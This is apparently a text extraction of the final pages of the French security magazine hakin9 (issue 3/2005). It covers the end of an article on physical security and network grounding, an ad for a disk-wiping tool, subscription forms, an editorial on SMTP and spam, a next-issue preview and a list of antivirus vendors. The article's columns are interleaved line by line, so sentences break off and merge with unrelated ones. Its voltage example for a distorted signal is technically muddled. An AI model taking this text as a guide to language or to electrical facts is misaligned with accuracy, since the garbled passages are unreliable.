estimer le temps de réparation du plutôt évidente – est un montage ou mis à nu peuvent provoquer un
dispositif et une Durée Moyenne de regroupant plusieurs systèmes in- défaut de la masse. Parmi les grands
Fonctionnement avant Défaillance formatiques connectés entre eux bâtiments, nombreux sont ceux qui
(ou Mean Time Between Failure, par un support de quelque sorte. Le exigent l'installation de plusieurs
MTBF) afin de déterminer la durée support le plus utilisé est le réseau masses, et les sites composés de
de vie attendue du dispositif. LAN, câble de catégorie CAT5 com- plusieurs immeubles nécessitent
Les dispositifs de rechange posé d'un ensemble de quatre pai- également la présence de plus d'une
méritent l'investissement demandé res torsadées blindées de fils, soit masse. Toutefois, l'installation de
et une copie devrait être conservée huit fils en tout. Connecter plusieurs plusieurs masses reste problémati-
hors site en cas de catastrophes ordinateurs entre eux crée un cir- que en raison de la différence de po-
ou de pannes de matériel. De cuit dans lequel va passer du cou- tentiel électrique sur chaque circuit.
nombreuses sociétés font appel rant électrique. Les données sont Si les systèmes informatiques
à une méthode de réserve appelée envoyées à partir d'un ordinateur sont placés sur des masses sé-
sauvegarde des données à dis- sous forme de signal numérique parées et sont reliés entre eux via
tance (ou data vaulting, en anglais) utilisant 3 à 5 volts. Par exemple, un un réseau, ils engendrent alors la
chargée de compresser, de crypter signal de niveau 0 est égal à 0 volt formation d'un circuit en dehors des
puis de stocker les données dans et un signal de niveau 1 équivaut câbles du réseau. Ce phénomène
une installation extérieure au site à 3–5 volts. Ainsi, un signal dont a pour conséquence la création de
et protégée. Cette méthode est es- la valeur serait 00010011 serait en plusieurs masses sur le même cir-
sentielle pour tout Plan Anti-sinistre l'état envoyé en 0,0,0,3,0,0,3,3 volts cuit, ce qui modifiera la polarité du
(soit Disaster Recovery Plan, ou potentiels. Dans le scénario parfait, courant à la source, dont le flux du
DRP, en anglais) et de nombreux il n'y aurait aucun volts externes potentiel sera négatif, à la masse
plans de couverture d'assurance.
Afin d'accroître la disponibilité des
données critiques, la technique
Sur le réseau :
RAID (Redundant Array of Inde-
Défense

• http://www.sans.org/resources/policies – lignes directrices de base d'une politique


pendent – or Inexpensive – Disks, de sécurité,
ou Réseau Redondant de Disques • http://csrc.nist.gov/publications/nistpubs/index.html – publications spéciales du
Indépendants, en français) peut NIST.
également se révéler fort utile. En
Réglementations légales :
effet, la technique RAID augmente
la tolérance aux pannes d'un sys- • http://www.hhs.gov/ocr/hipaa/ – loi HIPAA,
tème tout en réduisant de manière • http://www.sec.gov/rules/pcaob.shtml – loi SOX,
considérable le temps d'arrêt po- • http://www.ftc.gov/privacy/glbact – loi GLBA.
tentiel.

72 www.hakin9.org hakin9 N o 3/2005


Sécurité physique

h9.DiskShredder
LE PROGRAMME CONÇU POUR L’EFFACEMENT SÛR DES DONNÉES DES DISQUES DURS

Dans la société moderne, l’information devient de plus en plus importante.

L’interception des données peut avoir des conséquences financières, sociales


ou politiques très graves.

LES DONNÉES EFFACÉES D’UNE FAÇON TRADITIONNELLE PEUVENT ÊTRE


FACILEMENT RÉCUPÉRÉES PAR DES PERSONNES NON-AUTORISÉES !

Le programme h9.DiskShredder efface les données des disques durs de façon


à ce qu’il soit impossible de les récupérer, même par les spécialistes.

h9.DiskShredder a été conçu en collaboration avec le laboratoire


hakin9.lab qui s’occupe des problèmes liés à la sécurité.

Informations et commandes www.hakin9.org, programs@hakin9.org


hakin9 N o 3/2005 www.hakin9.org 73
dont le potentiel électrique sera po- menace est présente (cf. Encadré Une fois cette difficile tâche effec-
sitif. Ce phénomène peut perturber Exemple d’une politique de sécurité tuée, la plupart des personnes estime
l'émission d'un signal numérique physique). que le travail est terminé. Or, le travail
de valeur normale 00010011 (soit Le plan de protection a pour en question est loin d'être achevé. La
0,0,0,3,0,0,3,3 volts) pour prendre la objectif de réaliser les conditions société doit fournir à chacun de ses
valeur 01011111 (soit 2,4,1,6,5,4,5,6 nécessaires à la sécurité sans pour employés une formation qui les sensi-
volts). Malheureusement, un signal autant gêner les opérations du sys- bilisera sur la façon dont les nouveaux
déformé de la sorte peut décon- tème, autrement dit maintenir ce contrôles opérés vont les affecter. Si
necter un système de son réseau, dernier convivial pour l'utilisateur. les employés devront avoir recours
détruire des données, ou même en- Le plan devra dans le même temps à des cartes à puce, ils devront alors
dommager le matériel informatique. obtenir l'aval des dirigeants expéri- suivre un cours de formation sur leur
mentés. Vous trouverez ci-dessous utilisation et sur les démarches à sui-
L'interférence des signaux une liste d'éléments qui devraient vre en cas d'échec. Une autre façon
Les effets liés au brouillage radioélec- être inclus dans toute conception de d'informer le personnel consiste à in-
trique (RFI) ainsi qu'aux perturbations plan de sécurité. diquer noir sur blanc les directives de
électromagnétiques (EMI) peuvent sécurité et s'assurer que l'ensemble
également être à l'origine de perturba- Éléments relevant du Due Care : des zones sécurisées est bien signalé
tions dans les réseaux. Ces formes de • ordre défini de mission de sé- en tant que tel. Lorsqu'un signe est
perturbations peuvent être attribuées curité au sein de la politique de indiqué sans équivoque au moyen
au matériel qui produit de hautes sécurité de l'entreprise, d'un message indiquant par exemple
fréquences tel que les lumières fluo- • menaces identifiées dans une lis- « Il est interdit de pénétrer dans cette
rescentes, les soudeurs à hautes fré- te grâce à l'analyse des risques, zone sans autorisation d'accès. Tout
quences, les générateurs, tout ce qui • formation des cadres supérieurs intrus dépourvu d'autorisation s'ex-
se trouvent en phase 3, etc. sur le thème de la technologie, pose à des poursuites judiciaires »,
Il existe toujours des interféren- • emploi de contrôles à la fois ca- il devient alors difficile de trouver des
ces dans les réseaux (bruit) véhicu- chés et visibles. excuses.
lées par les câbles du réseau, mais Une fois le personnel formé aux
le rapport du bruit ramené au signal Éléments relevant du Due Dili- différents contrôles, il peut souvent
est important. Certains entrepre- gence : s'avérer pertinent de lui faire pas-
neurs et électriciens ne prennent pas • mise en place de formation de ser de petites épreuves de manière
en considération ce phénomène au sensibilisation à la sécurité des à s'assurer que les contrôles sont
moment d'installer les câbles de vos informations, bien assimilés et fonctionnent cor-
futurs locaux. Lors de l'installation • analyse de la vulnérabilité afin de rectement. De nombreuses solutions
des câbles réseau, il est important garantir la conformité des politi- existent pour tester son personnel,
de confier cette opération à un in- ques de sécurité. allant du simple exercice d'incendie
génieur réseau ou une société de à une simulation complète d'une ca-
câblage. Une fois la politique mise en place, tastrophe au cours de laquelle il n'y
les menaces possibles doivent être aurait plus d'électricité ni de services
Élaboration d'un plan listées avec le plus de détails possi- émanant des centres de traitement
Maintenant que vous avez une idée bles. Cette opération ne catégorise des informations pendant un certain
générale de certaines menaces po- pas seulement les menaces d'une laps de temps.
tentielles existantes, nous pouvons manière prévisible, mais aide égale- Nous venons de couvrir dans le
débuter l'élaboration d'un plan de ment à élaborer un argumentaire pour présent article plusieurs problèmes
protection. La conception d'un tel convaincre les preneurs de décisions. liés à la conception de projets de
plan d'un point de vue légal, la mise Il semble pertinent d'utiliser à la fois sécurité physique et comment les
en place correcte des éléments re- des méthodes d'analyse quantitatives organiser entre eux. Il est essentiel
lèvent du Due Care, ou Obligation et qualitatives de manière à ce que la de s'interroger, avant toutes prépa-
de Prudence et de Diligence. La conception puisse être supportée par rations éventuelles, sur la nature des
Défense

maintenance des politiques, des des chiffres réalistes et vérifiables menaces existantes. Et il est encore
procédures et des contrôles est ainsi que par des points sensibles sur plus important de s'assurer que les
considérée comme relevant du Due la vulnérabilité capables de soulager preneurs de décision soient au cou-
Diligence, ou Diligence Raisonnable. les inquiétudes tout en vendant son rant des contrôles d'une part, et que
La combinaison des deux aspects plan. Une fois la politique accordée, les utilisateurs soient conscients de
Due Care et Due Diligence affectera il faut commencer par familiariser les leur responsabilité d'autre part, ce
la responsabilité possible ou les res- cadres supérieurs avec la technologie afin de maintenir le plan de sécurité
ponsabilités décroissantes pouvant mise en œuvre dans l'installation de la conforme aux réglementations en
être mises en cause lorsqu'une dite politique. vigueur. n

74 www.hakin9.org hakin9 N o 3/2005


c adeau!*
Voulez-vous recevoir régulièrement en
votre magazine préféré ?

+
Abonnez-vous !

en abonnement coûte

38 €
moins cher

Archives de hakin9 sur CD pour


*Jusqu’à épuisement du stock chaque abonné !

Commande
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier : Software-Wydawnic-
two Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : subscription@software.com.pl

Prénom Nom ..................................................................................... Entreprise .........................................................................................

Adresse ...........................................................................................................................................................................................................

Code postal ...................................................................................... Ville ...................................................................................................

Téléphone ......................................................................................... Fax ....................................................................................................

E-mail ................................................................................................ Je souhaite recevoir l'abonnement à partir du numéro .................

Prix de l’abonnement annuel de Hakin9 – 38 €


Je règle par :
¨ Carte bancaire n° CB expire le date et signature obligatoires
¨ type de carte ..........................................................................

¨ Virement bancaire :
Nom banque : Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003 01353 00028010183 90

IBAN : FR76 30003 01353 00028010183 90


Adresse Swift (Code BIC) : SOGEFRPP
www.shop.software.com.pl/fr

Abonnez-vous à vos magazines préférés


et commandez des anciens numéros !

Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré.
Nous vous garantissons :
• des tarifs préférentiels,
• un paiement en ligne sécurisé,
• la prise en compte rapide de votre commande.
Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !
bulletin d’abonnement
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier :
Software-Wydawnictwo Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : subscription@software.com.pl

Prénom Nom ............................................................................................... Entreprise ...................................................................................................

Adresse .................................................................................................................................................................................................................................

Code postal ................................................................................................ Ville ..............................................................................................................

Téléphone ................................................................................................... Fax ...............................................................................................................

Je souhaite recevoir l'abonnement à partir du numéro .....................................................................................................................................................

E-mail (indispendable pour envoyer la facture) .................................................................................................................................................................

o Prolongement automatique d’abonnement

Nombre de Nombre

Titre
À partir du
numéros d’abonne- Prix
numéro
annuels ments

Software 2.0 (1 CD) 12 54 €


Mensuel pour les programmeurs professionnels

Software 2.0 Extra! (1 CD) 6 38 €


Hors-série du magazine Software 2.0

Linux+DVD (2 DVDs) 12 86 €
Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs
Collection Linux+ Distributions (4-7 CDs)
Distributions Linux les plus 6 50 €
populaires (de 4 à 7 CDs joints au chaque magazine)

PHP Solutions (1 CD) 6 38 €


Le plus grand magazine sur PHP au monde

PHP Solutions .PRO pour les abonnées (1 CD) 6 95 €


Annonce dans PHP Solutions pendant toute durée de l’abonnement
Hakin9 – comment se défendre ? (1 CD)
Bimestriel destiné aux personnes qui s’intéressent à la sécurité des 6 38 €
systèmes informatiques

Aurox Linux (3 DVDs) 4 38 €


Trimestriel avec distribution Linux complète

.PSD (2 CDs) 6 39 €
Bimestriel pour les utilisateurs d’Adobe Photoshop

Je règle par :
¨ Carte bancaire n° CB expire le date et signature obligatoires
type de carte ..........................................................................
¨ Virement bancaire :
Nom banque : Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003 01353 00028010183 90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
Feuilleton

Tomasz Nidecki

Empreinte du passé

D
e vieux dinosaures d'internet évoquent avec Ces idées sont déjà véhiculées depuis quelques années
nostalgie le bon vieux temps. Un internet réservé (ne serait-ce que le concept IM2000, conçu par Daniel
qu'aux élus, accessible seulement dans les J. Bernstein – http://www.im2000.org/) mais elles ne se
milieux universitaires et scientifiques. Un internet smart, voient pas réaliser.
BCBG, et avant tout, hautement sécurisé. Une sécurité Évidemment, chaque idée révolutionnaire a un coût.
qui n'est aujourd'hui qu'illusoire et fait rêver. Un changement radical du réseau de messagerie électro-
Qu'est-ce qu'ils ont été peu clairvoyants, ces pion- nique exigera du temps et demandera de gros investisse-
niers du réseau, pour avoir accordé aux internautes toute ments financiers. Ceux qui se trouvent aujourd'hui dans
leur confiance ! Il est difficile de se prononcer aujourd'hui des camps adverses, devront coopérer. Pour l'instant,
ou prendre partie, faut-il les adorer ou les haïr pour avoir des milliers de dollars sont dépensés pour arrêter le fléau
rendu les protocoles si simples, mais tellement inadaptés des virus et du spams. Néanmoins, ce n'est pas suffisant
aux dures réalités de l'internet contemporain ? Bien que pour lever les résistances, s'armer de courage et mettre
dans beaucoup de cas, on ait pu y remédier (avec des au point une solution efficace. Pourvu qu'il ne soit pas
méthodes provisoires parfois), certaines lacunes tech- trop tard car nous aurons du mal à élaborer une solution
niques et largement diffusées par le passé, ne peuvent, dans le cas où la communication via internet aurait été
à ce jour être éradiquées. entravée au point que l'on passerait la majorité de notre
Les informaticiens paniquent et restent perplexes temps à lutter contre les attaques. n
face aux problèmes qui résultent du protocole SMTP mal
défini au départ (base pour faire fonctionner l'un des deux
éléments essentiels du réseau, soit la messagerie élec-
tronique). Et que fait le monde virtuel pour y remédier ?
Il s'acharne à inventer et mettre en place des moyens de
plus en plus nouveaux, issus de bricolage, au lieu de ras-
sembler ses forces et arriver à faire évoluer la situation
pour lutter contre la vraie épidémie qui sévit auprès des
utilisateurs, celle des virus et des spams. La course entre
le bien et le mal se poursuit ; et là, pas besoin de deviner
qui emportera la victoire.
Chaque méthode provisoire de lutte contre l'omni-
présente vermine (et l'expression est gentille) se termine
par une réplique immédiate et claire de la part des forces
du mal. Les virus sont de plus en plus malins, les vers
polymorphes font partie de notre quotidien, et les vaccins
arrivent souvent trop tard, ce, quand le taux d'infection
est déjà bien diffus. La lutte contre les spams est encore
plus désespérée. L'efficacité des filtres anti-spam laisse
à désirer. Ceux parmi les meilleurs entraînent des coûts
supplémentaires, demandent aux ordinateurs plus de
capacité et volent du temps aux utilisateurs. Sans parler
de ce que cela induit.
Peut-être alors, au lieu de consacrer tout notre temps
et toute notre énergie à inventer un colmatage de plus, ne
serait-il pas plus raisonnable de changer d'approche et
revoir complètement le principe de courrier électronique ?

78
Vous trouverez les informations les plus
récentes sur le marché des logiciels
dans les
Catalogues de hakin9
Sujets des catalogues contenant des articles publicitaires pour le
magazine hakin9 :
N° Sujets du catalogue

1. Systèmes IDS et IPS (pour détecter les intrusions et protéger


contre celles-ci)
4/2005 2. Scanners de sécurité et outils de tests de pénétration
3. Services d’audits de sécurité

1. Pare-feux matériels et logiciels


5/2005 2. Systèmes VPN matériels et logiciels
3. Services de conception et de contrôle des pare-feux

1. Matériel réseau (dispositifs actifs et passifs, éléments du


réseau)
6/2005 2. Logiciels de gestion de système informatique de l’entreprise
3. Services de conception et de réalisation des réseaux
informatiques sûrs

1. Systèmes de stockage de données sûrs


2. Logiciels de gestion de stockage et récupération de données
1/2006 3. Récupération de données du matériel abîmé et suppresion de
données sûre

1. Cryptage de données : logiciels pour les stations client


et serveurs
2/2006 2. Matériel de cryptage
3. Systèmes PKI, autorités de certification

Chaque numéro présente des sujets différents.


Le catalogue contient les présentations des entreprises et leurs coordonnées.
Chef du projet : Szymon Kierzkowski tél : +48 22 860 18 92 e-mail : adv@software.com.pl
Dans le prochain numéro :

Défense contre les


systèmes TEMPEST
Heureusement, l’interception de
l’émission des ondes électroma-
gnétiques – en particulier des
moniteurs CRT – n’est pas une
technique d’attaque très cou-
rante. Pourtant, il existe un certain
risque, surtout dans le cas où vous
possédez des données très impor-
tantes. Robin Lobel, auteur de la
solution TEMPEST présentée déjà
dans hakin9, montre comment se
défendre contre cette méthode
d’agression.

Stéganographie Tests de pénétration Sur le CD


réseau des serveurs Web
L’un des types de stéganographie, Des dizaines de millions de ser- • hakin9.live – une version boo-
l’art de camoufler des informations veurs Web fonctionnent aujourd’hui table de Linux,
dans les autres, est la stéganogra- sur Internet ; une grande partie • beaucoup d’outils – une boîte
phie réseau. Elle consiste à dissi- d’eux sont administrés par des à outils de chaque hacker,
muler les informations au niveau du personnes peu expérimentées. • les tutoriaux – les exercices
protocole de communication utilisé Trouver les failles de sécurité dans pratiques concernant les
dans Internet. Cette possibilité est ces systèmes n’est qu’une question questions abordées dans les
due aux imperfections dans le pro- de patience. Oliver Karow vous articles,
tocole TCP. L’article de Łukasz Wój- racontera comment trouver les • une documentation supplé-
cicki explique comment cacher une failles dans les serveurs Web. mentaire.
information dans les paquets TCP.

Récupération de Contourner les Les informations


données à partir des techniques qui actuelles sur le numéro
systèmes de fichiers rendent le débogage à venir
Linux et le désassemblage
– http://www.hakin9.org
Il n’est pas difficile de perdre les plus difficiles
données importantes – il suffit d’une Parfois, pendant l’analyse des Le numéro sera en
compromission du système, de notre fichiers binaires, nous nous heur- vente des le début de
négligence ou d’une panne du maté- tons à des programmes qui posent
juillet 2005.
riel. Bien que souvent il soit impossi- des problèmes. Si le désassem-
ble de les récupérer dans leur totalité, blage ou débogage sont difficiles
il existe des techniques permettant de à effectuer, cela signifie que l’auteur
sauver une partie des fichiers impor- de l’application a peut-être tenté
tants. L’article de Bartosz Przybylski de la protéger contre ces actions.
présente les manières de sauver les Marek Janiczek présente les maniè-
données stockées dans les systèmes res de contourner les techniques
de fichiers les plus populaires utilisés de protection les plus fréquentes La rédaction se réserve le droit de
dans Linux. contre l’ingénierie inverse. changer le contenu du magazine.
Les sociétés qui offrent
les solutions anti-virus
N° Nom de la société ou nom du URL N° Nom de la société ou nom du URL
produit produit
1 ACPL http://www.acpl.com 42 Invircible http://www.invircible.com
2 AdvancedForce http://www.advancedforce.com 43 Kaspersky Lab Polska http://www.kaspersky.pl
3 Aladdin http://www.aladdin.com 44 Kurt Huwig http://www.openantivirus.org
4 Alternative Computer http://www.altcomp.com 45 M2NET http://www.m2net.pl
Technology 46 McAfee http://www.mcafee.com
5 Aluria Software http://www.aluriasoftware.com 47 MessageLabs http://www.messagelabs.com
6 ALWIL Software http://www.avast.com 48 MicroWorld Technologies http://www.mwti.net
7 APEX SYSTEM http://www.apexsys.com.pl 49 MinuteGroup http://www.minutegroup.com
8 Astonsoft http://www.astonsoft.com 50 MKS http://www.mks.com
9 Authentium http://www.authentium.com 51 No Adware http://www.noadware.net
10 BitDefender http://www.bitdefender.com 52 Norman http://www.norman.com
11 Blue Coat Systems http://www.bluecoat.com 53 Palsol http://www.palsol.com
12 BlueHighway Software Com- http://www.bluehighway- 54 Panda Software http://www.pandasoftware.com
pany software.com
55 ParetoLogic http://www.paretologic.com
13 Borderware http://www.borderware.com
56 PCPitstop http://www.pcpitstop.com
14 BullGuard http://www.bullguard.com
57 PCSecurityShield http://www.pcsecurityshield.com
15 CentralCommand http://www.centralcommand.com
58 PLDaniels Software http://www.pldaniels.com
16 CERT/CC http://www.cert.org
59 PROLAND SOFTWARE http://www.pspl.com
17 Check Point http://www.checkpoint.com
60 Purge http://www.purge.com
18 Chillisoft http://www.chillisoft.co.nz
61 Quantus Technology http://www.quantus.pl
19 Clamav http://www.clamav.net
62 Ravantivirus http://www.ravantivirus.com
20 Clearview Systems http://www.clearview.co.uk
63 Reflex Magnetics http://www.reflex-magnetics.co.uk
21 Common Search http://www.vcatch.com
64 Resplendence Software Pro- http://www.resplendence.com
22 Computer Associates http://www.ca.com jects
23 DialogueScience http://www.dials.ru 65 Safesurf http://www.safesurf.com
24 Dr. Web http://www.drweb.com 66 Secure Computing http://www.securecomputing.com
25 eAcceleration® Corp http://www.eacceleration.com 67 Sofotex Systems http://www.sofotex.com
26 Emsisoft http://www.emsisoft.com 68 Sophos http://www.sophos.com
27 Enteractive http://www.enteractive.com 69 Spectrum Systems http://www.spectrum-
28 Eset http://www.eset.com systems.com
29 F-Secure http://www.f-secure.com 70 SRN Microsystems http://www.srnmicro.com
30 Finjan Software, Inc. http://www.finjan.com 71 Sybari Software http://www.sybari.ws
31 FRISK Software International http://www.f-prot.com 72 Symantec http://www.symantec.com
32 GeCAD http://www.gecadsoftware.com 73 Teknum http://www.handybits.com
33 GFI http://www.gfi.com 74 Trend Micro http://www.trendmicro.com
34 Grisoft http://www.grisoft.com 75 Trusecure http://www.truesecure.com
35 Group Technologies http://www.group-technolo- 76 Utimaco Safeware AG http://www.utimaco
gies.com 77 Verisign http://www.verisign.com
36 H+BEDV Datentechnik http://www.hbedv.com
78 Virusbuster http://www.virus-buster.com
37 H+H Software http://www.hh-software.com
79 VirusHunter http://www.virushunter.com
38 Hacksoft http://www.hacksoft.net
80 Virustotal http://www.virustotal.com
39 HAURI http://www.globalhauri.com
81 Wavecrest Computing http://www.cyfin.com
40 Hycomat http://www.hycomat.co.uk/
viromat/ 82 WinAntiVirus Pro http://www.winantivirus.com
41 IKARUS Software http://www.ikarus-software.at 83 Zone Labs http://www.zonelabs.com

Vous aimerez peut-être aussi